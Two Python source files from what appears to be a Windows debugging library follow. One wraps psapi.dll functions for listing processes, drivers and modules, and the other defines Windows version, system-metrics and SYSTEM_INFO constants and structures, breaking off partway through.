24 # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
25 # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
26 # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
27 # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
28 # POSSIBILITY OF SUCH DAMAGE.
29
30 """
31 Wrapper for psapi.dll in ctypes.
32 """
33
34 from .defines import *
35
36 #==============================================================================
37 # This is used later on to calculate the list of exported symbols.
38 _all = None
39 _all = set(vars().keys())
40 #==============================================================================
41
42 #--- PSAPI structures and constants -------------------------------------------
43
44 LIST_MODULES_DEFAULT = 0x00
45 LIST_MODULES_32BIT = 0x01
46 LIST_MODULES_64BIT = 0x02
47 LIST_MODULES_ALL = 0x03
48
49 # typedef struct _MODULEINFO {
50 # LPVOID lpBaseOfDll;
51 # DWORD SizeOfImage;
52 # LPVOID EntryPoint;
53 # } MODULEINFO, *LPMODULEINFO;
54 class MODULEINFO(Structure):
55 _fields_ = [
56 ("lpBaseOfDll", LPVOID), # remote pointer
57 ("SizeOfImage", DWORD),
58 ("EntryPoint", LPVOID), # remote pointer
59 ]
60 LPMODULEINFO = POINTER(MODULEINFO)
61
62 #--- psapi.dll ----------------------------------------------------------------
63
64 # BOOL WINAPI EnumDeviceDrivers(
65 # __out LPVOID *lpImageBase,
66 # __in DWORD cb,
67 # __out LPDWORD lpcbNeeded
68 # );
69 def EnumDeviceDrivers():
70 _EnumDeviceDrivers = windll.psapi.EnumDeviceDrivers
71 _EnumDeviceDrivers.argtypes = [LPVOID, DWORD, LPDWORD]
72 _EnumDeviceDrivers.restype = bool
73 _EnumDeviceDrivers.errcheck = RaiseIfZero
74
75 size = 0x1000
76 lpcbNeeded = DWORD(size)
77 unit = sizeof(LPVOID)
78 while 1:
79 lpImageBase = (LPVOID * (size // unit))()
80 _EnumDeviceDrivers(byref(lpImageBase), lpcbNeeded, byref(lpcbNeeded))
81 needed = lpcbNeeded.value
82 if needed <= size:
83 break
84 size = needed
85 return [ lpImageBase[index] for index in range(0, (needed // unit)) ]
86
87 # BOOL WINAPI EnumProcesses(
88 # __out DWORD *pProcessIds,
89 # __in DWORD cb,
90 # __out DWORD *pBytesReturned
91 # );
92 def EnumProcesses():
93 _EnumProcesses = windll.psapi.EnumProcesses
94 _EnumProcesses.argtypes = [LPVOID, DWORD, LPDWORD]
95 _EnumProcesses.restype = bool
96 _EnumProcesses.errcheck = RaiseIfZero
97
98 size = 0x1000
99 cbBytesReturned = DWORD()
100 unit = sizeof(DWORD)
101 while 1:
102 ProcessIds = (DWORD * (size // unit))()
103 cbBytesReturned.value = size
104 _EnumProcesses(byref(ProcessIds), cbBytesReturned, byref(cbBytesReturned))
105 returned = cbBytesReturned.value
106 if returned < size:
107 break
108 size = size + 0x1000
109 ProcessIdList = {}
110 for ProcessId in ProcessIds:
111 if ProcessId is None:
112 break
113 ProcessIdList[ProcessId] = 1
114 return list(ProcessIdList.keys())
115
116 # BOOL WINAPI EnumProcessModules(
117 # __in HANDLE hProcess,
118 # __out HMODULE *lphModule,
119 # __in DWORD cb,
120 # __out LPDWORD lpcbNeeded
121 # );
122 def EnumProcessModules(hProcess):
123 _EnumProcessModules = windll.psapi.EnumProcessModules
124 _EnumProcessModules.argtypes = [HANDLE, LPVOID, DWORD, LPDWORD]
125 _EnumProcessModules.restype = bool
126 _EnumProcessModules.errcheck = RaiseIfZero
127
128 size = 0x1000
129 lpcbNeeded = DWORD(size)
130 unit = sizeof(HMODULE)
131 while 1:
132 lphModule = (HMODULE * (size // unit))()
133 _EnumProcessModules(hProcess, byref(lphModule), lpcbNeeded, byref(lpcbNeeded))
134 needed = lpcbNeeded.value
135 if needed <= size:
136 break
137 size = needed
138 return [ lphModule[index] for index in range(0, int(needed // unit)) ]
139
140 # BOOL WINAPI EnumProcessModulesEx(
141 # __in HANDLE hProcess,
142 # __out HMODULE *lphModule,
143 # __in DWORD cb,
144 # __out LPDWORD lpcbNeeded,
145 # __in DWORD dwFilterFlag
146 # );
147 def EnumProcessModulesEx(hProcess, dwFilterFlag = LIST_MODULES_DEFAULT):
148 _EnumProcessModulesEx = windll.psapi.EnumProcessModulesEx
149 _EnumProcessModulesEx.argtypes = [HANDLE, LPVOID, DWORD, LPDWORD, DWORD]
150 _EnumProcessModulesEx.restype = bool
151 _EnumProcessModulesEx.errcheck = RaiseIfZero
152
153 size = 0x1000
154 lpcbNeeded = DWORD(size)
155 unit = sizeof(HMODULE)
156 while 1:
157 lphModule = (HMODULE * (size // unit))()
158 _EnumProcessModulesEx(hProcess, byref(lphModule), lpcbNeeded, byref(lpcbNeeded), dwFilterFlag)
159 needed = lpcbNeeded.value
160 if needed <= size:
161 break
162 size = needed
163 return [ lphModule[index] for index in range(0, (needed // unit)) ]
164
165 # DWORD WINAPI GetDeviceDriverBaseName(
166 # __in LPVOID ImageBase,
167 # __out LPTSTR lpBaseName,
168 # __in DWORD nSize
169 # );
170 def GetDeviceDriverBaseNameA(ImageBase):
171 _GetDeviceDriverBaseNameA = windll.psapi.GetDeviceDriverBaseNameA
172 _GetDeviceDriverBaseNameA.argtypes = [LPVOID, LPSTR, DWORD]
173 _GetDeviceDriverBaseNameA.restype = DWORD
174
175 nSize = MAX_PATH
176 while 1:
177 lpBaseName = ctypes.create_string_buffer("", nSize)
178 nCopied = _GetDeviceDriverBaseNameA(ImageBase, lpBaseName, nSize)
179 if nCopied == 0:
180 raise ctypes.WinError()
181 if nCopied < (nSize - 1):
182 break
183 nSize = nSize + MAX_PATH
184 return lpBaseName.value
185
186 def GetDeviceDriverBaseNameW(ImageBase):
187 _GetDeviceDriverBaseNameW = windll.psapi.GetDeviceDriverBaseNameW
188 _GetDeviceDriverBaseNameW.argtypes = [LPVOID, LPWSTR, DWORD]
189 _GetDeviceDriverBaseNameW.restype = DWORD
190
191 nSize = MAX_PATH
192 while 1:
193 lpBaseName = ctypes.create_unicode_buffer(u"", nSize)
194 nCopied = _GetDeviceDriverBaseNameW(ImageBase, lpBaseName, nSize)
195 if nCopied == 0:
196 raise ctypes.WinError()
197 if nCopied < (nSize - 1):
198 break
199 nSize = nSize + MAX_PATH
200 return lpBaseName.value
201
202 GetDeviceDriverBaseName = GuessStringType(GetDeviceDriverBaseNameA, GetDeviceDriverBaseNameW)
203
204 # DWORD WINAPI GetDeviceDriverFileName(
205 # __in LPVOID ImageBase,
206 # __out LPTSTR lpFilename,
207 # __in DWORD nSize
208 # );
209 def GetDeviceDriverFileNameA(ImageBase):
210 _GetDeviceDriverFileNameA = windll.psapi.GetDeviceDriverFileNameA
211 _GetDeviceDriverFileNameA.argtypes = [LPVOID, LPSTR, DWORD]
212 _GetDeviceDriverFileNameA.restype = DWORD
213
214 nSize = MAX_PATH
215 while 1:
216 lpFilename = ctypes.create_string_buffer("", nSize)
217 nCopied = ctypes.windll.psapi.GetDeviceDriverFileNameA(ImageBase, lpFilename, nSize)
218 if nCopied == 0:
219 raise ctypes.WinError()
220 if nCopied < (nSize - 1):
221 break
222 nSize = nSize + MAX_PATH
223 return lpFilename.value
224
225 def GetDeviceDriverFileNameW(ImageBase):
226 _GetDeviceDriverFileNameW = windll.psapi.GetDeviceDriverFileNameW
227 _GetDeviceDriverFileNameW.argtypes = [LPVOID, LPWSTR, DWORD]
228 _GetDeviceDriverFileNameW.restype = DWORD
229
230 nSize = MAX_PATH
231 while 1:
232 lpFilename = ctypes.create_unicode_buffer(u"", nSize)
233 nCopied = ctypes.windll.psapi.GetDeviceDriverFileNameW(ImageBase, lpFilename, nSize)
234 if nCopied == 0:
235 raise ctypes.WinError()
236 if nCopied < (nSize - 1):
237 break
238 nSize = nSize + MAX_PATH
239 return lpFilename.value
240
241 GetDeviceDriverFileName = GuessStringType(GetDeviceDriverFileNameA, GetDeviceDriverFileNameW)
242
243 # DWORD WINAPI GetMappedFileName(
244 # __in HANDLE hProcess,
245 # __in LPVOID lpv,
246 # __out LPTSTR lpFilename,
247 # __in DWORD nSize
248 # );
249 def GetMappedFileNameA(hProcess, lpv):
250 _GetMappedFileNameA = ctypes.windll.psapi.GetMappedFileNameA
251 _GetMappedFileNameA.argtypes = [HANDLE, LPVOID, LPSTR, DWORD]
252 _GetMappedFileNameA.restype = DWORD
253
254 nSize = MAX_PATH
255 while 1:
256 lpFilename = ctypes.create_string_buffer("", nSize)
257 nCopied = _GetMappedFileNameA(hProcess, lpv, lpFilename, nSize)
258 if nCopied == 0:
259 raise ctypes.WinError()
260 if nCopied < (nSize - 1):
261 break
262 nSize = nSize + MAX_PATH
263 return lpFilename.value
264
265 def GetMappedFileNameW(hProcess, lpv):
266 _GetMappedFileNameW = ctypes.windll.psapi.GetMappedFileNameW
267 _GetMappedFileNameW.argtypes = [HANDLE, LPVOID, LPWSTR, DWORD]
268 _GetMappedFileNameW.restype = DWORD
269
270 nSize = MAX_PATH
271 while 1:
272 lpFilename = ctypes.create_unicode_buffer(u"", nSize)
273 nCopied = _GetMappedFileNameW(hProcess, lpv, lpFilename, nSize)
274 if nCopied == 0:
275 raise ctypes.WinError()
276 if nCopied < (nSize - 1):
277 break
278 nSize = nSize + MAX_PATH
279 return lpFilename.value
280
281 GetMappedFileName = GuessStringType(GetMappedFileNameA, GetMappedFileNameW)
282
283 # DWORD WINAPI GetModuleFileNameEx(
284 # __in HANDLE hProcess,
285 # __in_opt HMODULE hModule,
286 # __out LPTSTR lpFilename,
287 # __in DWORD nSize
288 # );
289 def GetModuleFileNameExA(hProcess, hModule = None):
290 _GetModuleFileNameExA = ctypes.windll.psapi.GetModuleFileNameExA
291 _GetModuleFileNameExA.argtypes = [HANDLE, HMODULE, LPSTR, DWORD]
292 _GetModuleFileNameExA.restype = DWORD
293
294 nSize = MAX_PATH
295 while 1:
296 lpFilename = ctypes.create_string_buffer("", nSize)
297 nCopied = _GetModuleFileNameExA(hProcess, hModule, lpFilename, nSize)
298 if nCopied == 0:
299 raise ctypes.WinError()
300 if nCopied < (nSize - 1):
301 break
302 nSize = nSize + MAX_PATH
303 return lpFilename.value
304
305 def GetModuleFileNameExW(hProcess, hModule = None):
306 _GetModuleFileNameExW = ctypes.windll.psapi.GetModuleFileNameExW
307 _GetModuleFileNameExW.argtypes = [HANDLE, HMODULE, LPWSTR, DWORD]
308 _GetModuleFileNameExW.restype = DWORD
309
310 nSize = MAX_PATH
311 while 1:
312 lpFilename = ctypes.create_unicode_buffer(u"", nSize)
313 nCopied = _GetModuleFileNameExW(hProcess, hModule, lpFilename, nSize)
314 if nCopied == 0:
315 raise ctypes.WinError()
316 if nCopied < (nSize - 1):
317 break
318 nSize = nSize + MAX_PATH
319 return lpFilename.value
320
321 GetModuleFileNameEx = GuessStringType(GetModuleFileNameExA, GetModuleFileNameExW)
322
323 # BOOL WINAPI GetModuleInformation(
324 # __in HANDLE hProcess,
325 # __in HMODULE hModule,
326 # __out LPMODULEINFO lpmodinfo,
327 # __in DWORD cb
328 # );
329 def GetModuleInformation(hProcess, hModule, lpmodinfo = None):
330 _GetModuleInformation = windll.psapi.GetModuleInformation
331 _GetModuleInformation.argtypes = [HANDLE, HMODULE, LPMODULEINFO, DWORD]
332 _GetModuleInformation.restype = bool
333 _GetModuleInformation.errcheck = RaiseIfZero
334
335 if lpmodinfo is None:
336 lpmodinfo = MODULEINFO()
337 _GetModuleInformation(hProcess, hModule, byref(lpmodinfo), sizeof(lpmodinfo))
338 return lpmodinfo
339
340 # DWORD WINAPI GetProcessImageFileName(
341 # __in HANDLE hProcess,
342 # __out LPTSTR lpImageFileName,
343 # __in DWORD nSize
344 # );
345 def GetProcessImageFileNameA(hProcess):
346 _GetProcessImageFileNameA = windll.psapi.GetProcessImageFileNameA
347 _GetProcessImageFileNameA.argtypes = [HANDLE, LPSTR, DWORD]
348 _GetProcessImageFileNameA.restype = DWORD
349
350 nSize = MAX_PATH
351 while 1:
352 lpFilename = ctypes.create_string_buffer("", nSize)
353 nCopied = _GetProcessImageFileNameA(hProcess, lpFilename, nSize)
354 if nCopied == 0:
355 raise ctypes.WinError()
356 if nCopied < (nSize - 1):
357 break
358 nSize = nSize + MAX_PATH
359 return lpFilename.value
360
361 def GetProcessImageFileNameW(hProcess):
362 _GetProcessImageFileNameW = windll.psapi.GetProcessImageFileNameW
363 _GetProcessImageFileNameW.argtypes = [HANDLE, LPWSTR, DWORD]
364 _GetProcessImageFileNameW.restype = DWORD
365
366 nSize = MAX_PATH
367 while 1:
368 lpFilename = ctypes.create_unicode_buffer(u"", nSize)
369 nCopied = _GetProcessImageFileNameW(hProcess, lpFilename, nSize)
370 if nCopied == 0:
371 raise ctypes.WinError()
372 if nCopied < (nSize - 1):
373 break
374 nSize = nSize + MAX_PATH
375 return lpFilename.value
376
377 GetProcessImageFileName = GuessStringType(GetProcessImageFileNameA, GetProcessImageFileNameW)
378
379 #==============================================================================
380 # This calculates the list of exported symbols.
381 _all = set(vars().keys()).difference(_all)
382 __all__ = [_x for _x in _all if not _x.startswith('_')]
383 __all__.sort()
384 #==============================================================================
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 # Copyright (c) 2009-2016, Mario Vilas
4 # All rights reserved.
5 #
6 # Redistribution and use in source and binary forms, with or without
7 # modification, are permitted provided that the following conditions are met:
8 #
9 # * Redistributions of source code must retain the above copyright notice,
10 # this list of conditions and the following disclaimer.
11 # * Redistributions in binary form must reproduce the above copyright
12 # notice,this list of conditions and the following disclaimer in the
13 # documentation and/or other materials provided with the distribution.
14 # * Neither the name of the copyright holder nor the names of its
15 # contributors may be used to endorse or promote products derived from
16 # this software without specific prior written permission.
17 #
18 # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
19 # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
20 # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
21 # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
22 # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
23 # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
24 # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
25 # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
26 # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
27 # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
28 # POSSIBILITY OF SUCH DAMAGE.
29
30 """
31 Detect the current architecture and operating system.
32
33 Some functions here are really from kernel32.dll, others from version.dll.
34 """
35
36 from .defines import *
37
38 #==============================================================================
39 # This is used later on to calculate the list of exported symbols.
40 _all = None
41 _all = set(vars().keys())
42 #==============================================================================
43
44 #--- NTDDI version ------------------------------------------------------------
45
46 NTDDI_WIN8 = 0x06020000
47 NTDDI_WIN7SP1 = 0x06010100
48 NTDDI_WIN7 = 0x06010000
49 NTDDI_WS08 = 0x06000100
50 NTDDI_VISTASP1 = 0x06000100
51 NTDDI_VISTA = 0x06000000
52 NTDDI_LONGHORN = NTDDI_VISTA
53 NTDDI_WS03SP2 = 0x05020200
54 NTDDI_WS03SP1 = 0x05020100
55 NTDDI_WS03 = 0x05020000
56 NTDDI_WINXPSP3 = 0x05010300
57 NTDDI_WINXPSP2 = 0x05010200
58 NTDDI_WINXPSP1 = 0x05010100
59 NTDDI_WINXP = 0x05010000
60 NTDDI_WIN2KSP4 = 0x05000400
61 NTDDI_WIN2KSP3 = 0x05000300
62 NTDDI_WIN2KSP2 = 0x05000200
63 NTDDI_WIN2KSP1 = 0x05000100
64 NTDDI_WIN2K = 0x05000000
65 NTDDI_WINNT4 = 0x04000000
66
67 OSVERSION_MASK = 0xFFFF0000
68 SPVERSION_MASK = 0x0000FF00
69 SUBVERSION_MASK = 0x000000FF
70
71 #--- OSVERSIONINFO and OSVERSIONINFOEX structures and constants ---------------
72
73 VER_PLATFORM_WIN32s = 0
74 VER_PLATFORM_WIN32_WINDOWS = 1
75 VER_PLATFORM_WIN32_NT = 2
76
77 VER_SUITE_BACKOFFICE = 0x00000004
78 VER_SUITE_BLADE = 0x00000400
79 VER_SUITE_COMPUTE_SERVER = 0x00004000
80 VER_SUITE_DATACENTER = 0x00000080
81 VER_SUITE_ENTERPRISE = 0x00000002
82 VER_SUITE_EMBEDDEDNT = 0x00000040
83 VER_SUITE_PERSONAL = 0x00000200
84 VER_SUITE_SINGLEUSERTS = 0x00000100
85 VER_SUITE_SMALLBUSINESS = 0x00000001
86 VER_SUITE_SMALLBUSINESS_RESTRICTED = 0x00000020
87 VER_SUITE_STORAGE_SERVER = 0x00002000
88 VER_SUITE_TERMINAL = 0x00000010
89 VER_SUITE_WH_SERVER = 0x00008000
90
91 VER_NT_DOMAIN_CONTROLLER = 0x0000002
92 VER_NT_SERVER = 0x0000003
93 VER_NT_WORKSTATION = 0x0000001
94
95 VER_BUILDNUMBER = 0x0000004
96 VER_MAJORVERSION = 0x0000002
97 VER_MINORVERSION = 0x0000001
98 VER_PLATFORMID = 0x0000008
99 VER_PRODUCT_TYPE = 0x0000080
100 VER_SERVICEPACKMAJOR = 0x0000020
101 VER_SERVICEPACKMINOR = 0x0000010
102 VER_SUITENAME = 0x0000040
103
104 VER_EQUAL = 1
105 VER_GREATER = 2
106 VER_GREATER_EQUAL = 3
107 VER_LESS = 4
108 VER_LESS_EQUAL = 5
109 VER_AND = 6
110 VER_OR = 7
111
112 # typedef struct _OSVERSIONINFO {
113 # DWORD dwOSVersionInfoSize;
114 # DWORD dwMajorVersion;
115 # DWORD dwMinorVersion;
116 # DWORD dwBuildNumber;
117 # DWORD dwPlatformId;
118 # TCHAR szCSDVersion[128];
119 # }OSVERSIONINFO;
120 class OSVERSIONINFOA(Structure):
121 _fields_ = [
122 ("dwOSVersionInfoSize", DWORD),
123 ("dwMajorVersion", DWORD),
124 ("dwMinorVersion", DWORD),
125 ("dwBuildNumber", DWORD),
126 ("dwPlatformId", DWORD),
127 ("szCSDVersion", CHAR * 128),
128 ]
129 class OSVERSIONINFOW(Structure):
130 _fields_ = [
131 ("dwOSVersionInfoSize", DWORD),
132 ("dwMajorVersion", DWORD),
133 ("dwMinorVersion", DWORD),
134 ("dwBuildNumber", DWORD),
135 ("dwPlatformId", DWORD),
136 ("szCSDVersion", WCHAR * 128),
137 ]
138
139 # typedef struct _OSVERSIONINFOEX {
140 # DWORD dwOSVersionInfoSize;
141 # DWORD dwMajorVersion;
142 # DWORD dwMinorVersion;
143 # DWORD dwBuildNumber;
144 # DWORD dwPlatformId;
145 # TCHAR szCSDVersion[128];
146 # WORD wServicePackMajor;
147 # WORD wServicePackMinor;
148 # WORD wSuiteMask;
149 # BYTE wProductType;
150 # BYTE wReserved;
151 # }OSVERSIONINFOEX, *POSVERSIONINFOEX, *LPOSVERSIONINFOEX;
152 class OSVERSIONINFOEXA(Structure):
153 _fields_ = [
154 ("dwOSVersionInfoSize", DWORD),
155 ("dwMajorVersion", DWORD),
156 ("dwMinorVersion", DWORD),
157 ("dwBuildNumber", DWORD),
158 ("dwPlatformId", DWORD),
159 ("szCSDVersion", CHAR * 128),
160 ("wServicePackMajor", WORD),
161 ("wServicePackMinor", WORD),
162 ("wSuiteMask", WORD),
163 ("wProductType", BYTE),
164 ("wReserved", BYTE),
165 ]
166 class OSVERSIONINFOEXW(Structure):
167 _fields_ = [
168 ("dwOSVersionInfoSize", DWORD),
169 ("dwMajorVersion", DWORD),
170 ("dwMinorVersion", DWORD),
171 ("dwBuildNumber", DWORD),
172 ("dwPlatformId", DWORD),
173 ("szCSDVersion", WCHAR * 128),
174 ("wServicePackMajor", WORD),
175 ("wServicePackMinor", WORD),
176 ("wSuiteMask", WORD),
177 ("wProductType", BYTE),
178 ("wReserved", BYTE),
179 ]
180
181 LPOSVERSIONINFOA = POINTER(OSVERSIONINFOA)
182 LPOSVERSIONINFOW = POINTER(OSVERSIONINFOW)
183 LPOSVERSIONINFOEXA = POINTER(OSVERSIONINFOEXA)
184 LPOSVERSIONINFOEXW = POINTER(OSVERSIONINFOEXW)
185 POSVERSIONINFOA = LPOSVERSIONINFOA
186 POSVERSIONINFOW = LPOSVERSIONINFOW
187 POSVERSIONINFOEXA = LPOSVERSIONINFOEXA
188 POSVERSIONINFOEXW = LPOSVERSIONINFOA
189
190 #--- GetSystemMetrics constants -----------------------------------------------
191
192 SM_CXSCREEN = 0
193 SM_CYSCREEN = 1
194 SM_CXVSCROLL = 2
195 SM_CYHSCROLL = 3
196 SM_CYCAPTION = 4
197 SM_CXBORDER = 5
198 SM_CYBORDER = 6
199 SM_CXDLGFRAME = 7
200 SM_CYDLGFRAME = 8
201 SM_CYVTHUMB = 9
202 SM_CXHTHUMB = 10
203 SM_CXICON = 11
204 SM_CYICON = 12
205 SM_CXCURSOR = 13
206 SM_CYCURSOR = 14
207 SM_CYMENU = 15
208 SM_CXFULLSCREEN = 16
209 SM_CYFULLSCREEN = 17
210 SM_CYKANJIWINDOW = 18
211 SM_MOUSEPRESENT = 19
212 SM_CYVSCROLL = 20
213 SM_CXHSCROLL = 21
214 SM_DEBUG = 22
215 SM_SWAPBUTTON = 23
216 SM_RESERVED1 = 24
217 SM_RESERVED2 = 25
218 SM_RESERVED3 = 26
219 SM_RESERVED4 = 27
220 SM_CXMIN = 28
221 SM_CYMIN = 29
222 SM_CXSIZE = 30
223 SM_CYSIZE = 31
224 SM_CXFRAME = 32
225 SM_CYFRAME = 33
226 SM_CXMINTRACK = 34
227 SM_CYMINTRACK = 35
228 SM_CXDOUBLECLK = 36
229 SM_CYDOUBLECLK = 37
230 SM_CXICONSPACING = 38
231 SM_CYICONSPACING = 39
232 SM_MENUDROPALIGNMENT = 40
233 SM_PENWINDOWS = 41
234 SM_DBCSENABLED = 42
235 SM_CMOUSEBUTTONS = 43
236
237 SM_CXFIXEDFRAME = SM_CXDLGFRAME # ;win40 name change
238 SM_CYFIXEDFRAME = SM_CYDLGFRAME # ;win40 name change
239 SM_CXSIZEFRAME = SM_CXFRAME # ;win40 name change
240 SM_CYSIZEFRAME = SM_CYFRAME # ;win40 name change
241
242 SM_SECURE = 44
243 SM_CXEDGE = 45
244 SM_CYEDGE = 46
245 SM_CXMINSPACING = 47
246 SM_CYMINSPACING = 48
247 SM_CXSMICON = 49
248 SM_CYSMICON = 50
249 SM_CYSMCAPTION = 51
250 SM_CXSMSIZE = 52
251 SM_CYSMSIZE = 53
252 SM_CXMENUSIZE = 54
253 SM_CYMENUSIZE = 55
254 SM_ARRANGE = 56
255 SM_CXMINIMIZED = 57
256 SM_CYMINIMIZED = 58
257 SM_CXMAXTRACK = 59
258 SM_CYMAXTRACK = 60
259 SM_CXMAXIMIZED = 61
260 SM_CYMAXIMIZED = 62
261 SM_NETWORK = 63
262 SM_CLEANBOOT = 67
263 SM_CXDRAG = 68
264 SM_CYDRAG = 69
265 SM_SHOWSOUNDS = 70
266 SM_CXMENUCHECK = 71 # Use instead of GetMenuCheckMarkDimensions()!
267 SM_CYMENUCHECK = 72
268 SM_SLOWMACHINE = 73
269 SM_MIDEASTENABLED = 74
270 SM_MOUSEWHEELPRESENT = 75
271 SM_XVIRTUALSCREEN = 76
272 SM_YVIRTUALSCREEN = 77
273 SM_CXVIRTUALSCREEN = 78
274 SM_CYVIRTUALSCREEN = 79
275 SM_CMONITORS = 80
276 SM_SAMEDISPLAYFORMAT = 81
277 SM_IMMENABLED = 82
278 SM_CXFOCUSBORDER = 83
279 SM_CYFOCUSBORDER = 84
280 SM_TABLETPC = 86
281 SM_MEDIACENTER = 87
282 SM_STARTER = 88
283 SM_SERVERR2 = 89
284 SM_MOUSEHORIZONTALWHEELPRESENT = 91
285 SM_CXPADDEDBORDER = 92
286
287 SM_CMETRICS = 93
288
289 SM_REMOTESESSION = 0x1000
290 SM_SHUTTINGDOWN = 0x2000
291 SM_REMOTECONTROL = 0x2001
292 SM_CARETBLINKINGENABLED = 0x2002
293
294 #--- SYSTEM_INFO structure, GetSystemInfo() and GetNativeSystemInfo() ---------
295
296 # Values used by Wine
297 # Documented values at MSDN are marked with an asterisk
298 PROCESSOR_ARCHITECTURE_UNKNOWN = 0xFFFF; # Unknown architecture.
299 PROCESSOR_ARCHITECTURE_INTEL = 0 # x86 (AMD or Intel) *
300 PROCESSOR_ARCHITECTURE_MIPS = 1 # MIPS
301 PROCESSOR_ARCHITECTURE_ALPHA = 2 # Alpha
302 PROCESSOR_ARCHITECTURE_PPC = 3 # Power PC
303 PROCESSOR_ARCHITECTURE_SHX = 4 # SHX
304 PROCESSOR_ARCHITECTURE_ARM = 5 # ARM
305 PROCESSOR_ARCHITECTURE_IA64 = 6 # Intel Itanium *
306 PROCESSOR_ARCHITECTURE_ALPHA64 = 7 # Alpha64
307 PROCESSOR_ARCHITECTURE_MSIL = 8 # MSIL
308 PROCESSOR_ARCHITECTURE_AMD64 = 9 # x64 (AMD or Intel) *
309 PROCESSOR_ARCHITECTURE_IA32_ON_WIN64 = 10 # IA32 on Win64
310 PROCESSOR_ARCHITECTURE_SPARC = 20 # Sparc (Wine)
311
312 # Values used by Wine
313 # PROCESSOR_OPTIL value found at http://code.google.com/p/ddab-lib/
314 # Documented values at MSDN are marked with an asterisk
315 PROCESSOR_INTEL_386 = 386 # Intel i386 *
316 PROCESSOR_INTEL_486 = 486 # Intel i486 *
317 PROCESSOR_INTEL_PENTIUM = 586 # Intel Pentium *
318 PROCESSOR_INTEL_IA64 = 2200 # Intel IA64 (Itanium) *
319 PROCESSOR_AMD_X8664 = 8664 # AMD X86 64 *
320 PROCESSOR_MIPS_R4000 = 4000 # MIPS R4000, R4101, R3910
321 PROCESSOR_ALPHA_21064 = 21064 # Alpha 210 64
322 PROCESSOR_PPC_601 = 601 # PPC 601
323 PROCESSOR_PPC_603 = 603 # PPC 603
324 PROCESSOR_PPC_604 = 604 # PPC 604
325 PROCESSOR_PPC_620 = 620 # PPC 620
326 PROCESSOR_HITACHI_SH3 = 10003 # Hitachi SH3 (Windows CE)
327 PROCESSOR_HITACHI_SH3E = 10004 # Hitachi SH3E (Windows CE)
328 PROCESSOR_HITACHI_SH4 = 10005 # Hitachi SH4 (Windows CE)
329 PROCESSOR_MOTOROLA_821 = 821 # Motorola 821 (Windows CE)
330 PROCESSOR_SHx_SH3 = 103 # SHx SH3 (Windows CE)
331 PROCESSOR_SHx_SH4 = 104 # SHx SH4 (Windows CE)
332 PROCESSOR_STRONGARM = 2577 # StrongARM (Windows CE)
333 PROCESSOR_ARM720 = 1824 # ARM 720 (Windows CE)
334 PROCESSOR_ARM820 = 2080 # ARM 820 (Windows CE)
335 PROCESSOR_ARM920 = 2336 # ARM 920 (Windows CE)
336 PROCESSOR_ARM_7TDMI = 70001 # ARM 7TDMI (Windows CE)
337 PROCESSOR_OPTIL = 0x494F # MSIL
338
339 # typedef struct _SYSTEM_INFO {
340 # union {
341 # DWORD dwOemId;
342 # struct {
343 # WORD wProcessorArchitecture;
344 # WORD wReserved;
345 # } ;
346 # } ;
347 # DWORD dwPageSize;
348 # LPVOID lpMinimumApplicationAddress;
349 # LPVOID lpMaximumApplicationAddress;
350 # DWORD_PTR dwActiveProcessorMask;
351 # DWORD dwNumberOfProcessors;
352 # DWORD dwProcessorType;
353 # DWORD dwAllocationGranularity;
354 # WORD wProcessorLevel;
355 # WORD wProcessorRevision;
356 # } SYSTEM_INFO;
357
358 class _SYSTEM_INFO_OEM_ID_STRUCT(Structure):
359 _fields_ = [
360 ("wProcessorArchitecture", WORD),
361 ("wReserved", WORD),
362 ]
363
364 class _SYSTEM_INFO_OEM_ID(Union):
365 _fields_ = [
366 ("dwOemId", DWORD),
367 ("w", _SYSTEM_INFO_OEM_ID_STRUCT),
368 ]
369
370 class SYSTEM_INFO(Structure):
371 _fields_ = [
372 ("id", _SYSTEM_INFO_OEM_ID),
373 ("dwPageSize", DWORD),
374 ("lpMinimumApplicationAddress", LPVOID),
375 ("lpMaximumApplicationAddress", LPVOID),
376 ("dwActiveProcessorMask", DWORD_PTR),
377 ("dwNumberOfProcessors", DWORD),
378 ("dwProcessorType", DWORD),
379 ("dwAllocationGranularity", DWORD),
380 ("wProcessorLevel", WORD),
381 ("wProcessorRevision", WORD),
382 ]
383
384 def __get_dwOemId(self):
385 return self.id.dwOemId
386 def __set_dwOemId(self, value):
387 self.id.dwOemId = value
388 dwOemId = property(__get_dwOemId, __set_dwOemId)
389
390 def __get_wProcessorArchitecture(self):
391 return self.id.w.wProcessorArchitecture
392 def __set_wProcessorArchitecture(self, value):
393 self.id.w.wProcessorArchitecture = value
394 wProcessorArchitecture = property(__get_wProcessorArchitecture, __set_wProcessorArchitecture)
395
396 LPSYSTEM_INFO = ctypes.POINTER(SYSTEM_INFO)
397
398 # void WINAPI GetSystemInfo(
399 # __out LPSYSTEM_INFO lpSystemInfo
400 # );
401 def GetSystemInfo():
402 _GetSystemInfo = windll.kernel32.GetSystemInfo
403 _GetSystemInfo.argtypes = [LPSYSTEM_INFO]
404 _GetSystemInfo.restype = None
405
406 sysinfo = SYSTEM_INFO()
407 _GetSystemInfo(byref(sysinfo))
408 return sysinfo
409
410 # void WINAPI GetNativeSystemInfo(
411 # __out LPSYSTEM_INFO lpSystemInfo
412 # );
413 def GetNativeSystemInfo():
